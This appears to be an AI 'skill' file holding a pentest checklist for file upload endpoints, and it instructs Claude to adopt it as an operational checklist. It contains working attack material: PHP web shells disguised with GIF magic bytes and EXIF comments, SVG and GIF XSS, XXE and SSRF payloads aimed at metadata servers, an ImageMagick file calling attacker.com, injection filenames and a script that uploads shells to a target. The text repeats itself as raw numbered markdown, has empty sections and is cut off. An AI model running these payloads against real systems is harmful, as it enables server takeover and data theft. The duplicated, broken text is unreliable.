SKILL: File Upload Vulnerabilities
Metadata
Description
File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
Trigger Phrases
Use this skill when the conversation involves any of:
file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
File Upload Vulnerabilities
Mechanisms
flowchart TD
A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]
A --> C[Improper Extension Handling]
A --> D[Inadequate File Content Analysis]
A --> E[Unsafe File Storage]
A --> F[File Operation Mishandling]
A --> G[Directory Traversal]
A --> H[Race Conditions]
B --> I[Remote Code Execution]
C --> I
D --> J[Client-Side Attacks]
E --> I
F --> K[Denial of Service]
G --> L[Arbitrary File Access]
H --> I
File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms.
These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.
The core technical issues behind file upload vulnerabilities include:
- Insufficient File Type Validation: Failure to properly validate the actual content/type of uploaded files
- Improper Extension Handling: Not restricting dangerous file extensions or allowing easy bypasses
- Inadequate File Content Analysis: Not checking the actual file content versus relying only on extension or content-type
- Unsafe File Storage: Storing files in executable directories or with dangerous permissions
- File Operation Mishandling: Not securely handling file operations during the upload process
- Directory Traversal Vulnerabilities: Allowing manipulation of upload paths
- Race Conditions: Timing issues during validation and moving of uploaded files
- Archive Extraction Flaws: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)
File upload vulnerabilities can manifest in various upload functionality patterns:
- Profile Picture Uploads: Common in user profiles and social media
- Document Repositories: File sharing services and document management systems
- Media Uploads: Image, video, and audio uploaders
- Bulk Import Features: CSV, XML, and other data import functionality
- Content Management Systems: Templates, plugins, themes, and media libraries
Hunt
Identifying File Upload Vulnerabilities
Target Discovery
Map File Upload Functionality:
- Profile picture uploads
- Document/attachment uploads
- Import/export features
- Media galleries
- CMS admin sections
- Backup/restore features
- Avatar/image uploads
Identify Upload Processing Patterns:
- Client-side validation patterns (JavaScript checks)
- Server-side validation indicators
- File type restrictions mentioned in UI
- Error messages related to file types
Testing Prerequisites:
- Collection of test files (various formats)
- Proxy for intercepting requests (Burp Suite, ZAP)
- Web shells for testing execution
- MIME-type tools for manipulation
- Containerized/sandboxed converters ready for validation (e.g., bwrap/seccomp profiles)
Testing Methodologies
Basic File Upload Testing:
- Test uploading standard expected files (baseline)
- Attempt uploading executable file types (PHP, ASP, JSP, etc.)
- Modify content-type headers during upload
- Change file extensions after client-side validation
Extension-Based Testing:
- Test alternate extensions for web shells:
.php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif
.asp, .aspx, .ashx, .asmx, .cer, .asa
.jsp, .jspx, .jsw, .jsv, .jspf
.cfm, .cfml, .cfc, .dbm (Coldfusion)
.pl, .py, .rb, .cgi
- Test double extensions:
file.jpg.php
file.php.jpg
file.php.jpeg
file.php%00.jpg # Null byte (older versions)
file.php%20.jpg # URL encoded space
file.php%0d%0a.jpg # CRLF injection
file.php.blah123jpg # If regex is weak
- Test case sensitivity bypass:
file.PhP
file.Php5
file.AspX
file.pHp
file.pHP5
file.PhAr
- Test trailing characters/delimiters:
file.php.....
file.php/
file.php.\
file.php. # Trailing dot (Windows specific)
file.php%20 # Trailing space
file.php%09 # Trailing tab
file.php%0a # Trailing newline
file.php%0d # Trailing carriage return
file.php::$DATA # NTFS Alternate Data Stream (Windows specific)
file. # No extension
.html # Just extension
- Test filename manipulation:
# Try to cut extension with max filename length limit
# Try empty filename: .php
# Send filename parameter twice: filename="allowed.jpg";filename="shell.php"
Content-Type Testing:
- Modify the Content-Type header to bypass MIME validation:
Content-Type: image/jpeg # actual file is PHP
Content-Type: image/png # actual file is PHP
Content-Type: image/gif # actual file is PHP
Content-Type: application/x-php # declared as image/jpeg when sent
- Other Content-Type manipulations:
# Remove Content-Type header entirely
# Send Content-Type twice with allowed/disallowed values
Magic Byte Forging:
- If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.
# Example: Add GIF header to a PHP shell
GIF89a;<?php system($_GET['cmd']); ?>
Polyglot File Testing:
Path and Filename Abuse Testing:
- Test path traversal in filename:
filename=../../../../etc/passwd
filename=/etc/passwd
filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection)
- Test injections via filename (if filename is processed unsafely):
filename=a$(whoami)z.png # Command Injection
filename=a`whoami`z.png # Command Injection
filename="a';select+sleep(10);--z.png" # SQL Injection
filename=https://internal.service/data # SSRF attempt
- Test DoS via large filename (e.g., 255+ characters).
Archive Testing (Zip/Tar):
- Zip Slip: Create archives with path traversal (
../../tmp/shell.php).
- Symlink Abuse: Include symlinks in archives pointing to sensitive files (
ln -s /etc/passwd link.txt).
- Tar Permissions Abuse: Create tar with restrictive parent dir permissions (
chmod 300) but permissive subdir (chmod 700) containing symlinks.
- Also test LFI access via zip wrapper:
site.com/path?page=zip://path/to/uploaded/file.zip%23shell.php
ImageMagick Testing:
- Test for vulnerabilities like SSRF, LFI, RCE (e.g., ImageTragick CVEs) if the server uses ImageMagick for image processing.
- See details in the "Impact Scenarios -> ImageMagick Vulnerabilities" section.
Third-Party Library Testing:
- Check for vulnerabilities in libraries used for processing uploads (e.g., ExifTool CVE-2021-22204).
Race Condition Testing:
- File Upload Race: Rapidly request the uploaded file path immediately after initiating the upload, attempting access before validation/removal.
- URL-Based Upload Race: If uploading via URL, rapidly request the temporary local copy path while the server fetches/validates.
- HTTP/2 Multiplex Smuggling: Abuse concurrent stream uploads to bypass validation or size limits by interleaving unvalidated chunks.
- Temp path reads: Try accessing temporary upload paths before move/scan completes.
SSRF via HTTP Range Requests:
- If uploading via URL, try manipulating
Range headers to potentially redirect parts of the download to internal servers.
Bypass Techniques
mindmap
root((Bypass Techniques))
Client-Side
Disable JavaScript
Request Interception
Extension Manipulation
MIME-Type Manipulation
Server-Side
Metadata Injection
Image Content Manipulation
Polyglot Techniques
Path Traversal
DenyList Bypass
Magic Byte Forging
Windows Specific Bypasses (. and ADS)
Client-Side Validation Bypasses
Disabling JavaScript:
- Disable JavaScript to bypass client-side checks
- Use browser developer tools to modify the DOM
Request Interception:
- Intercept and modify upload requests using Burp Suite or ZAP
- Change file parameters post-validation
Extension Manipulation Techniques:
# Null byte injection (for PHP < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg
# Using alternate representations
shell.php.....
shell.php;.jpg
shell.php::$DATA.jpg
# Manipulating request content
1. Upload legitimate image
2. Intercept request
3. Replace file content with shell while keeping filename
- MIME-Type Manipulation:
- Modify Content-Type header to match expected type
- Change file signature/magic bytes to appear as legitimate format
Server-Side Validation Bypasses
Metadata Injection:
- Inject code into image metadata (EXIF)
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" payload.jpg
Image Content Manipulation:
- Create images containing server-side code
# PHP code in GIF file
GIF89a;
<?php system($_GET['cmd']); ?>
Advanced Polyglot Techniques:
- Create files that are valid in multiple formats
# Valid JPG and PHP
Create JPG with PHP code after the image data
Add PHP code to EXIF data
Path Traversal in Upload Locations:
filename=../../../tmp/shell.php
filename=..%2f..%2f..%2ftmp%2fshell.php
filename=../../etc/passwd/logo.png # Example LFI attempt
filename=\\attacker-site.com\file.png # UNC Path (Windows specific)
Common DenyList Bypass:
escape "/" with "\/" or "//" with "\/\/"
try single "/" instead of "//"
remove http i.e. "continue=//google.com"
"/\/\" , "|/" , "/%09/"
encode, slashes
"./" CHANGE TO "..//"
"../" CHANGE TO "....//"
"/" CHANGE TO "//"
filename=..%2f..%2f..%2ftmp%2fshell.php
# Check IIS specific extensions if applicable
filename=shell.cer
filename=shell.asa
# Windows specific bypasses
filename=shell.aspx. # Trailing dot
filename=shell.php::$DATA # Alternate Data Stream (ADS)
filename=shell.php:.jpg # ADS confusion
GIF Comment Bypass:
- Inject payload within GIF comments.
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Magic Byte Forging:
- Prepend malicious file content with the magic bytes of an allowed file type.
# Example: GIF header + PHP shell
GIF89a;
<?php echo 'Magic Byte Bypass'; phpinfo(); ?>
Vulnerabilities
Common File Upload Vulnerability Patterns
graph TD
A[File Upload Vulnerabilities] --> B[Implementation-Specific]
A --> C[Impact Scenarios]
B --> D[CMS Upload Vulnerabilities]
B --> E[Framework Upload Vulnerabilities]
B --> F[Language-Specific Vulnerabilities]
C --> G[RCE]
C --> H[XSS]
C --> I[SSRF]
C --> J[DoS]
C --> K[LFI]
Implementation-Specific Vulnerabilities
CMS Upload Vulnerabilities:
- WordPress: Plugin and theme uploaders
Upload plugin ZIP with malicious PHP files
SVG uploads with XSS in media library
- Drupal: Module installations
Malicious module installation via admin panel
- Joomla: Template uploads
Malicious template installation
Framework Upload Vulnerabilities:
- PHP: File upload handling in common frameworks
Laravel file upload middleware bypass
CodeIgniter upload library misconfiguration
- Java: Spring MVC file upload handlers
Spring MultipartResolver misconfiguration
- ASP.NET: File upload components
ASP.NET FileUpload control misconfiguration
Language-Specific Upload Vulnerabilities:
- PHP: move_uploaded_file() race conditions
- Java: Temporary file creation vulnerabilities
- Node.js: Express-fileupload vulnerabilities
Impact Scenarios
Extension Impact Matrix
Common file extensions and their potential security impacts:
- Web Shells & RCE:
.php, .php3, .php4, .php5, .phtml, .phar, .phpt
.asp, .aspx, .ashx, .asmx, .asa, .cer, xamlx (ASP.NET)
.jsp, .jspx, .jsw, .jsv, .jspf (Java Server Pages)
.cfm, .cfml, .cfc, .dbm (ColdFusion)
.pl, .py, .rb, .cgi
.htaccess (if Apache allows override, can reconfigure PHP handling or execute commands)
.config (web.config for IIS/ASP.NET)
- Client-Side Attacks:
.svg: Stored XSS, SSRF, XXE
.gif: Stored XSS (via comments), SSRF
.html, .js: HTML injection, XSS, Open redirect, Phishing
.wasm: WebAssembly modules for client-side code execution
.webp, .avif: Modern image format parser bugs
- Server-Side Attacks:
.csv: CSV injection (Formula Injection)
.xml: XXE
.avi, .mov: Potential LFI, SSRF (via external streams/subtitles)
.pdf, .pptx: SSRF, Blind XXE (via external entities/references)
.zip: RCE via LFI (using zip:// wrapper), DoS (Zip Bomb), Zip Slip (Path Traversal during extraction)
.scf (Windows Shortcut): RCE (forces NTLM hash disclosure when browsed via UNC path)
- Denial of Service:
.png, .jpeg: Pixel flood attack (large dimensions/compressed data)
- Large filenames:
1234...99.png (e.g., > 255 chars)
- Zip bombs (highly compressed archives)
- Files exploiting parser libraries (ImageTragick, XML bombs)
Remote Code Execution (RCE)
File Inclusion Attack Chains
- LFI via Uploaded Files: Chaining local file inclusion with uploads
1. Upload malicious file (e.g., `avatar.jpg` containing PHP code).
2. Trigger inclusion via LFI vulnerability (e.g., `/?page=../../uploads/avatar.jpg`).
- LFI via Zip Wrapper:
1. Upload malicious file inside a zip (e.g., `archive.zip` containing `shell.php`).
2. Trigger inclusion: `/?page=zip://uploads/archive.zip%23shell.php`
XSS via Uploaded Files
- SVG-Based XSS:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("XSS via SVG");
</script>
</svg>
- GIF Comment XSS:
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
- HTML/JS File Uploads:
<!-- If .html or .js uploads are allowed and rendered -->
<script>
alert(document.cookie);
</script>
- Filename-Based XSS:
filename="<svg
filename="xss.<svg
Server-Side Request Forgery (SSRF) via Uploads
- XXE in SVG Uploads:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://internal.service/resource"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
- SVG Image Href SSRF:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="http://internal-metadata-server/latest/meta-data/" />
</svg>
- PDF/PPTX SSRF: Exploiting features that fetch external resources.
- Upload from URL Feature: If the application allows providing a URL for upload, test internal IPs/metadata endpoints.
- SSRF via Filename: Submitting a URL as the filename (
filename=http://internal...).
- SSRF via HTTP Range Requests: Manipulating
Range header during URL fetch.
XXE via Uploads
- XML File Upload: Standard XXE payloads in
.xml files.
- SVG File Upload: See SSRF example above.
- Excel File Upload (
.xlsx): .xlsx files are zip archives containing XML files (like sharedStrings.xml) which can be crafted with XXE payloads.
- PDF/PPTX Blind XXE: Similar to SSRF, using external entity references.
Open Redirect via Uploads
Command Injection via Filename
SQL Injection via Filename
Denial of Service (DoS)
- Pixel Flood Attack: Uploading specially crafted images (e.g.,
lottapixel.jpg) that consume excessive resources during processing. (Reference)
- Zip Bomb: Uploading highly compressed archives that expand significantly.
- Large Filename: Using extremely long filenames can sometimes cause issues or DoS.
- Uploading files with content that exploits parsing libraries (e.g., ImageTragick, billion laughs XXE).
- Uploading
.eml files with Content-Type: text/html if processed insecurely.
- FFmpeg/Video Processing: Upload crafted video files (
.mp4, .avi, .mov) with malicious metadata or subtitles to trigger SSRF/RCE in video converters.
- HEIC/AVIF Processing: Exploit parsing bugs in libheif/libavif during thumbnail generation.
- PDF.js Browser Rendering: Upload PDFs with malicious annotations or forms that exploit client-side renderers.
Additional Attack Vectors
ImageMagick Vulnerabilities
- Using .mvg files for SSRF/LFI:
push graphic-context
viewbox 0 0 640 480
fill 'url(http://attacker.com/)'
pop graphic-context
- Using the gifoeb tool for memory disclosure:
./gifoeb gen 512x512 dump.gif
# Try different extensions:
./gifoeb gen 1123x987 dump.jpg
./gifoeb gen 1123x987 dump.png
# Recover pixels after upload and download:
# for p in previews/*; do ./gifoeb recover $p | strings; done
WAF Bypass Techniques
- URL Parameter Manipulation:
/?file=xx.php <- Blocked
/?file===xx.php <- Bypassed
- Content-Type Manipulation with Metadata:
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.jpg
mv shell.jpg shell.php.jpg
New CVEs
- CVE-2024-29510 – Ghostscript ≤ 10.03.0 EPS/JPG RCE: Exploit via EPS-in-JPG polyglot when Ghostscript is used for image conversion.
- CVE-2024-53677 – Apache Struts S2-067: Multipart upload path-traversal leading to RCE.
- CVE-2024-57169 – SOPlanning ≤ 1.53: Arbitrary file upload to the web-root.
- CVE-2024-48514 – php-heic-to-jpg ≤ 1.0.5: Filename sanitisation bypass resulting in RCE during HEIC conversion.
- Image processing stacks (libvips/Sharp, GraphicsMagick/ImageMagick, Ghostscript, pdfium) continue to receive critical parser bugs; sandbox converters and track advisories.
- HEIC/AVIF conversion pipelines frequently mishandle temporary files and trust
Content-Type/magic bytes.
- Serverless image proxies (imgproxy, Thumbor, custom Lambda/Cloud Functions) often allow SSRF/LFI via remote URL sources.
Methodologies
Tools
File Upload Vulnerability Testing Tools
- Burp Suite: Content-Type and request manipulation, Intruder for fuzzing
- OWASP ZAP: Automated scanning for upload vulnerabilities
- ExifTool: Metadata manipulation for bypass testing
- Weevely: Web shell generation tool
- Fuxploider: File upload vulnerability scanner (GitHub)
- Upload Scanner (Burp Extension): (PortSwigger BApp Store)
- FUFF / ffuf / wfuzz: Fuzzing file upload endpoints, extensions, parameters
Custom Testing Scripts
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
def test_file_upload(target_url, file_path, file_name, content_type):
"""
Test file upload with custom parameters
"""
multipart_data = MultipartEncoder(
fields={
'file': (file_name, open(file_path, 'rb'), content_type)
}
)
headers = {
'Content-Type': multipart_data.content_type
}
response = requests.post(target_url, data=multipart_data, headers=headers)
# Return response for analysis
return {
'status_code': response.status_code,
'response_text': response.text,
'response_headers': dict(response.headers)
}
# Example usage:
target = 'https://target.com/upload.php'
test_cases = [
# Basic tests
{'path': 'shell.php', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%00.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%20.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%0d%0a.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php.blah123jpg', 'type': 'image/jpeg'},
# Content-type tests
{'path': 'legitimate.jpg', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php', 'type': 'image/gif'},
# Extension tests
{'path': 'shell.php', 'name': 'shell.phtml', 'type': 'application/x-php'},
{'path': 'shell.php', 'name': 'shell.PhP', 'type': 'application/x-php'},
{'path': 'shell.php', 'name': 'shell.php.', 'type': 'application/octet-stream'},
{'path': 'shell.php', 'name': 'shell.php%20', 'type': 'application/octet-stream'},
]
for test in test_cases:
result = test_file_upload(target, test['path'], test['name'], test['type'])
print(f"Testing {test['name']} ({test['type']}): {result['status_code']}")
Testing Strategies
Comprehensive File Upload Testing Process
Discovery Phase:
- Map all file upload functionality
- Identify client-side and server-side validation patterns
- Document allowed file types and upload restrictions
Initial Testing Phase:
- Test baseline functionality with expected file types
- Test basic restriction bypasses:
- Extension manipulation
- Content-Type manipulation
- Simple payload attempts
Advanced Testing Phase:
- Test for complex bypass techniques:
- Polyglot files
- Metadata injection
- Race conditions
- Upload directory traversal
Exploitation Phase:
- Verify code execution for successful uploads
- Test chained attack scenarios
- Document impact and attack chains
Post-Exploitation Testing:
- Test upload persistence
- Test access control on uploaded files
- Test ability to access uploads across user contexts
Real-World Testing Examples
CMS File Upload Testing
- Identify CMS type and version
- Map file upload functionality (plugins, themes, media)
- Test bypasses specific to the CMS:
- WordPress: Plugin installation with malicious PHP
- Drupal: Module upload with executable code
- Joomla: Template upload with backdoor
- Verify code execution
Multi-step Bypass Testing
- Attempt standard upload with blocked extension (.php)
- If blocked, try modification techniques:
- Double extensions (.jpg.php)
- Alternate extensions (.phtml, .php5)
- Case manipulation (.pHP)
- If still blocked, try content manipulation:
- Change Content-Type header
- Modify magic bytes
- Use polyglot techniques
- If successful, verify execution path
SVG Upload for XSS Testing
- Create malicious SVG:
<svg xmlns="http://www.w3.org/2000/svg"
- Upload to target site
- Access uploaded SVG directly or in context
- Verify XSS execution
Remediation Recommendations
Implement Proper Validation:
- Validate file type using content inspection, not just extension
- Use file signature/magic byte checking
- Implement allowlist approach for permitted file types AND extensions (Defense in Depth)
Apply Multiple Security Layers:
- Implement client-side AND server-side validation
- Use content-type validation AND extension validation
- Scan uploaded files with security tools
- Use separate domains or CDNs for user-uploaded content (reduces XSS risk)
- Implement proper, restrictive permissions on upload directories (prevent execution)
Store Files Securely:
- Store uploaded files outside the web root when possible
- Use separate domains for user-uploaded content
- Implement proper permissions on upload directories
Process Uploaded Files:
- Remove metadata from images
- Re-encode/compress uploaded images
- Strip potentially dangerous content
- Use random, unpredictable filenames generated by the server (prevents guessing/overwriting)
- Validate file paths against directory traversal
- Content Disarm & Reconstruction (CDR): re-encode or convert documents and images on a trusted pipeline before storage or delivery.
- Sandbox Image/Document Converters: run Ghostscript, ImageMagick, and HEIC libraries under seccomp, Firejail, or bubblewrap to contain 0-days.
- Supply-Chain Hygiene: track image/document-processing dependencies with an SBOM (e.g., Syft) and enable automated updates via Dependabot or Renovate.
Implement File Upload Best Practices:
- Set upload size limits
- Implement file scanning for malware
- Use random, unpredictable filenames
- Validate file paths against directory traversal
Context-Specific Controls:
- For image uploads: Validate dimensions and recompress
- For document uploads: Convert to PDF or other safe format
- For code uploads: Implement sandbox execution environment or strict validation/linting
HTTP Headers:
- For downloaded files, set
Content-Disposition: attachment; filename="user_safe_filename.ext" to force download prompt.
- Set
X-Content-Type-Options: nosniff to prevent browsers from MIME-sniffing the content type away from the declared one.
Cloud / Object-Storage Upload Checklist
- Use presigned URLs with short TTL (≤ 60 s) and single-use semantics.
- Enforce
bucket-owner-enforced ACL or Object Lock to prevent post-scan overwrites.
- Require server-side encryption headers (for example
x-amz-server-side-encryption) on presigned PUTs.
- Restrict the IAM role used for uploads to PutObject only; deny
GetObject and DeleteObject unless required.
- Validate the object key on the backend after upload; reject keys containing
../ or control characters.
- For compute workers processing uploads, enforce IMDSv2 and limit egress to mitigate SSRF pivots.
Cloud/Object Storage Advanced
- Presigned POST policies: verify policy
conditions enforce content-type, size, and key prefix; reject uploads whose actual Content-Type differs at processing time.
- Compute ETag/MD5 checks; reject mismatched
Content-MD5 values; beware S3 multipart ETag semantics for multi-part uploads.
- Scan and quarantine newly uploaded objects before publishing; block overwrites via Object Lock; publish via a separate, read-only bucket.
- Prevent key confusion: disallow keys with
%2f, unicode homoglyphs, or hidden dot segments that may bypass prefix-only allowlists.
- CDN/image pipeline: disable remote URL sources or restrict to allowlisted domains with DNS pinning; strip metadata and re-encode.
- Enforce V4 signature strictness on presigned URLs; reject headers not in policy; verify expiration on access.
Chunked/Streaming and CDN/Image Pipelines
- HTTP chunked smuggling: proxies may stream parts to backends before full validation; ensure backends validate final file after full receive.
- Parallel/multipart chunk races: verify server holds uploads in a quarantine path until all validations complete; deny direct reads from temp locations.
- Image pipelines with
?url= sources: treat as SSRF; block private IPs, localhost, and metadata endpoints; enforce DNS rebinding protections.
1---2name: offensive-file-upload3description: "File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty. Use only for authorized security research, training, or assessment."4category: web5source: SnailSploit/Claude-Red6license: MIT7upstream_commit: a8de813edc9f66f60d44cfe42d47750e89d9930b8metadata:9 source: https://skillmd.com/skills/26zl/offensive-file-upload10---1112# SKILL: File Upload Vulnerabilities1314## Metadata15- **Skill Name**: file-upload16- **Folder**: offensive-file-upload17- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/file-upload.md1819## Description20File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.2122## Trigger Phrases23Use this skill when the conversation involves any of:24`file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload`2526## Instructions for Claude2728When this skill is active:291. Load and apply the full methodology below as your operational checklist302. Follow steps in order unless the user specifies otherwise313. For each technique, consider applicability to the current target/context324. Track which checklist items have been completed335. Suggest next steps based on findings3435---3637## Full Methodology3839# File Upload Vulnerabilities4041## Mechanisms4243```mermaid44flowchart TD45 A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]46 A --> C[Improper Extension Handling]47 A --> D[Inadequate File Content Analysis]48 A --> E[Unsafe File Storage]49 A --> F[File Operation Mishandling]50 A --> G[Directory Traversal]51 A --> H[Race Conditions]5253 B --> I[Remote Code Execution]54 C --> I55 D --> J[Client-Side Attacks]56 E --> I57 F --> K[Denial of Service]58 G --> L[Arbitrary File Access]59 H --> I60```6162File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms.63These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.6465The core technical issues behind file upload vulnerabilities include:6667- **Insufficient File Type Validation**: Failure to properly validate the actual content/type of uploaded files68- **Improper Extension Handling**: Not restricting dangerous file extensions or allowing easy bypasses69- **Inadequate File Content Analysis**: Not checking the actual file content versus relying only on extension or content-type70- **Unsafe File Storage**: Storing files in executable directories or with dangerous permissions71- **File Operation Mishandling**: Not securely handling file operations during the upload process72- **Directory Traversal Vulnerabilities**: Allowing manipulation of upload paths73- **Race Conditions**: Timing issues during validation and moving of uploaded files74- **Archive Extraction Flaws**: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)7576File upload vulnerabilities can manifest in various upload functionality patterns:7778- **Profile Picture Uploads**: Common in user profiles and social media79- **Document Repositories**: File sharing services and document management systems80- **Media Uploads**: Image, video, and audio uploaders81- **Bulk Import Features**: CSV, XML, and other data import functionality82- **Content Management Systems**: Templates, plugins, themes, and media libraries8384## Hunt8586### Identifying File Upload Vulnerabilities8788#### Target Discovery89901. **Map File Upload Functionality**:91 - Profile picture uploads92 - Document/attachment uploads93 - Import/export features94 - Media galleries95 - CMS admin sections96 - Backup/restore features97 - Avatar/image uploads98992. **Identify Upload Processing Patterns**:100 - Client-side validation patterns (JavaScript checks)101 - Server-side validation indicators102 - File type restrictions mentioned in UI103 - Error messages related to file types1041053. **Testing Prerequisites**:106 - Collection of test files (various formats)107 - Proxy for intercepting requests (Burp Suite, ZAP)108 - Web shells for testing execution109 - MIME-type tools for manipulation110 - Containerized/sandboxed converters ready for validation (e.g., bwrap/seccomp profiles)111112#### Testing Methodologies1131141. **Basic File Upload Testing**:115 - Test uploading standard expected files (baseline)116 - Attempt uploading executable file types (PHP, ASP, JSP, etc.)117 - Modify content-type headers during upload118 - Change file extensions after client-side validation1191202. **Extension-Based Testing**:121 - Test alternate extensions for web shells:122 ```123 .php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif124 .asp, .aspx, .ashx, .asmx, .cer, .asa125 .jsp, .jspx, .jsw, .jsv, .jspf126 .cfm, .cfml, .cfc, .dbm (Coldfusion)127 .pl, .py, .rb, .cgi128 ```129 - Test double extensions:130 ```131 file.jpg.php132 file.php.jpg133 file.php.jpeg134 file.php%00.jpg # Null byte (older versions)135 file.php%20.jpg # URL encoded space136 file.php%0d%0a.jpg # CRLF injection137 file.php.blah123jpg # If regex is weak138 ```139 - Test case sensitivity bypass:140 ```141 file.PhP142 file.Php5143 file.AspX144 file.pHp145 file.pHP5146 file.PhAr147 ```148 - Test trailing characters/delimiters:149 ```150 file.php.....151 file.php/152 file.php.\153 file.php. # Trailing dot (Windows specific)154 file.php%20 # Trailing space155 file.php%09 # Trailing tab156 file.php%0a # Trailing newline157 file.php%0d # Trailing carriage return158 file.php::$DATA # NTFS Alternate Data Stream (Windows specific)159 file. # No extension160 .html # Just extension161 ```162 - Test filename manipulation:163 ```164 # Try to cut extension with max filename length limit165 # Try empty filename: .php166 # Send filename parameter twice: filename="allowed.jpg";filename="shell.php"167 ```1681693. **Content-Type Testing**:170 - Modify the Content-Type header to bypass MIME validation:171 ```172 Content-Type: image/jpeg # actual file is PHP173 Content-Type: image/png # actual file is PHP174 Content-Type: image/gif # actual file is PHP175 Content-Type: application/x-php # declared as image/jpeg when sent176 ```177 - Other Content-Type manipulations:178 ```179 # Remove Content-Type header entirely180 # Send Content-Type twice with allowed/disallowed values181 ```1821834. **Magic Byte Forging**:184 - If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.185186 ```187 # Example: Add GIF header to a PHP shell188 GIF89a;<?php system($_GET['cmd']); ?>189 ```1901915. **Polyglot File Testing**:192 - Create and test polyglot files (valid in multiple formats)193 ```194 GIFAR files (GIF + RAR)195 Valid Image + PHP code in EXIF metadata196 PDF + PHP code197 SVG + JavaScript for XSS198 ```199 - see [@dan_crowley's talk](http://goo.gl/pquXC2) and [@angealbertini research](https://github.com/abzcoding/Notes/blob/master/pentest/corkami.com)2002016. **Path and Filename Abuse Testing**:202 - Test path traversal in filename:203 ```204 filename=../../../../etc/passwd205 filename=/etc/passwd206 filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection)207 ```208 - Test injections via filename (if filename is processed unsafely):209 ```210 filename=a$(whoami)z.png # Command Injection211 filename=a`whoami`z.png # Command Injection212 filename="a';select+sleep(10);--z.png" # SQL Injection213 filename=https://internal.service/data # SSRF attempt214 ```215 - Test DoS via large filename (e.g., 255+ characters).2162177. **Archive Testing (Zip/Tar)**:218 - **Zip Slip**: Create archives with path traversal (`../../tmp/shell.php`).219 - **Symlink Abuse**: Include symlinks in archives pointing to sensitive files (`ln -s /etc/passwd link.txt`).220 - **Tar Permissions Abuse**: Create tar with restrictive parent dir permissions (`chmod 300`) but permissive subdir (`chmod 700`) containing symlinks.221 - Also test LFI access via zip wrapper: `site.com/path?page=zip://path/to/uploaded/file.zip%23shell.php`2222238. **ImageMagick Testing**:224 - Test for vulnerabilities like SSRF, LFI, RCE (e.g., ImageTragick CVEs) if the server uses ImageMagick for image processing.225 - See details in the "Impact Scenarios -> ImageMagick Vulnerabilities" section.2262279. **Third-Party Library Testing**:228 - Check for vulnerabilities in libraries used for processing uploads (e.g., ExifTool CVE-2021-22204).22923010. **Race Condition Testing**:231 - **File Upload Race**: Rapidly request the uploaded file path immediately after initiating the upload, attempting access before validation/removal.232 - **URL-Based Upload Race**: If uploading via URL, rapidly request the temporary local copy path while the server fetches/validates.233 - **HTTP/2 Multiplex Smuggling**: Abuse concurrent stream uploads to bypass validation or size limits by interleaving unvalidated chunks.234 - **Temp path reads**: Try accessing temporary upload paths before move/scan completes.23523611. **SSRF via HTTP Range Requests**:237 - If uploading via URL, try manipulating 